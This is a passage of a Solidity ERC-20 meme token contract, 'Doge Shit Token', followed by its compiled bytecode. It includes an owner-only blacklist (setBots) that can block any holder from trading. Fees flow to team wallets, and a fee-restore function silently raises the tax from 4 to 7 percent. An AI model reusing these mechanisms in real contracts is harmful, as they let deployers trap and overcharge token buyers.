) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DOGSHIT is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Doge Shit Token";
string private constant _symbol = "DOGSHIT";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 4;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 7;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(
tAmount,
_taxFee,
_teamFee
);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tTeam,
currentRate
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612edf565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a02565b61045e565b6040516101789190612ec4565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613081565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b3565b61048d565b6040516101e09190612ec4565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612925565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f6565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7f565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612925565b610783565b6040516102b19190613081565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df6565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612edf565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a02565b61098d565b60405161035b9190612ec4565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3e565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad1565b6110d2565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612977565b61121b565b6040516104189190613081565b60405180910390f35b60606040518060400160405280600f81526020017f446f6765205368697420546f6b656e0000000000000000000000000000000000815250905090565b600061047261046b6112a2565b84846112aa565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611475565b61055b846104a66112a2565b610556856040518060600160405280602881526020016137ba60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c349092919063ffffffff16565b6112aa565b600190509392505050565b61056e6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc1565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc1565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a2565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c98565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d93565b9050919050565b6107dc6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f444f475348495400000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a2565b8484611475565b6001905092915050565b6109b36112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc1565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613397565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a2565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e01565b50565b610b7d6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc1565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613041565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112aa565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294e565b6040518363ffffffff1660e01b8152600401610e1f929190612e11565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294e565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e63565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612afa565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506802b5e3af16b18800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107c929190612e3a565b602060405180830381600087803b15801561109657600080fd5b505af11580156110aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ce9190612aa8565b5050565b6110da6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611167576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115e90612fc1565b60405180910390fd5b600081116111aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a190612f81565b60405180910390fd5b6111d960646111cb83683635c9adc5dea000006120fb90919063ffffffff16565b61217690919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516112109190613081565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561131a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131190613021565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561138a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138190612f41565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114689190613081565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114dc90613001565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611555576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154c90612f01565b60405180910390fd5b60008111611598576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158f90612fe1565b60405180910390fd5b6115a0610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160e57506115de610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7157600f60179054906101000a900460ff1615611841573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561169057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116ea5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117445750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561184057600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661178a6112a2565b73ffffffffffffffffffffffffffffffffffffffff1614806118005750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e86112a2565b73ffffffffffffffffffffffffffffffffffffffff16145b61183f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183690613061565b60405180910390fd5b5b5b60105481111561185057600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f45750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fd57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a85750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fe5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a165750600f60179054906101000a900460ff165b15611ab75742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6657600080fd5b603c42611a7391906131b7565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac230610783565b9050600f60159054906101000a900460ff16158015611b2f5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b475750600f60169054906101000a900460ff165b15611b6f57611b5581611e01565b60004790506000811115611b6d57611b6c47611c98565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c185750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2257600090505b611c2e848484846121c0565b50505050565b6000838311158290611c7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c739190612edf565b60405180910390fd5b5060008385611c8b9190613298565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce860028461217690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d13573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6460028461217690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8f573d6000803e3d6000fd5b5050565b6000600654821115611dda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd190612f21565b60405180910390fd5b6000611de46121ed565b9050611df9818461217690919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5f577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8d5781602001602082028036833780820191505090505b5090503081600081518110611ecb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6d57600080fd5b505afa158015611f81573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa5919061294e565b81600181518110611fdf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112aa565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120aa95949392919061309c565b600060405180830381600087803b1580156120c457600080fd5b505af11580156120d8573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210e5760009050612170565b6000828461211c919061323e565b905082848261212b919061320d565b1461216b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216290612fa1565b60405180910390fd5b809150505b92915050565b60006121b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612218565b905092915050565b806121ce576121cd61227b565b5b6121d98484846122ac565b806121e7576121e6612477565b5b50505050565b60008060006121fa612489565b91509150612211818361217690919063ffffffff16565b9250505090565b6000808311829061225f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122569190612edf565b60405180910390fd5b506000838561226e919061320d565b9050809150509392505050565b600060085414801561228f57506000600954145b15612299576122aa565b600060088190555060006009819055505b565b6000806000806000806122be876124eb565b95509550955095509550955061231c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fd816125fb565b61240784836126b8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124649190613081565b60405180910390a3505050505050505050565b6007600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124bf683635c9adc5dea0000060065461217690919063ffffffff16565b8210156124de57600654683635c9adc5dea000009350935050506124e7565b81819350935050505b9091565b60008060008060008060008060006125088a6008546009546126f2565b92509250925060006125186121ed565b9050600080600061252b8e878787612788565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c34565b905092915050565b60008082846125ac91906131b7565b9050838110156125f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e890612f61565b60405180910390fd5b8091505092915050565b60006126056121ed565b9050600061261c82846120fb90919063ffffffff16565b905061267081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cd8260065461255390919063ffffffff16565b6006819055506126e88160075461259d90919063ffffffff16565b6007819055505050565b60008060008061271e6064612710888a6120fb90919063ffffffff16565b61217690919063ffffffff16565b90506000612748606461273a888b6120fb90919063ffffffff16565b61217690919063ffffffff16565b9050600061277182612763858c61255390919063ffffffff16565b61255390919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a185896120fb90919063ffffffff16565b905060006127b886896120fb90919063ffffffff16565b905060006127cf87896120fb90919063ffffffff16565b905060006127f8826127ea858761255390919063ffffffff16565b61255390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282461281f84613136565b613111565b9050808382526020820190508285602086028201111561284357600080fd5b60005b858110156128735781612859888261287d565b845260208401935060208301925050600181019050612846565b5050509392505050565b60008135905061288c81613774565b92915050565b6000815190506128a181613774565b92915050565b600082601f8301126128b857600080fd5b81356128c8848260208601612811565b91505092915050565b6000813590506128e08161378b565b92915050565b6000815190506128f58161378b565b92915050565b60008135905061290a816137a2565b92915050565b60008151905061291f816137a2565b92915050565b60006020828403121561293757600080fd5b60006129458482850161287d565b91505092915050565b60006020828403121561296057600080fd5b600061296e84828501612892565b91505092915050565b6000806040838503121561298a57600080fd5b60006129988582860161287d565b92505060206129a98582860161287d565b9150509250929050565b6000806000606084860312156129c85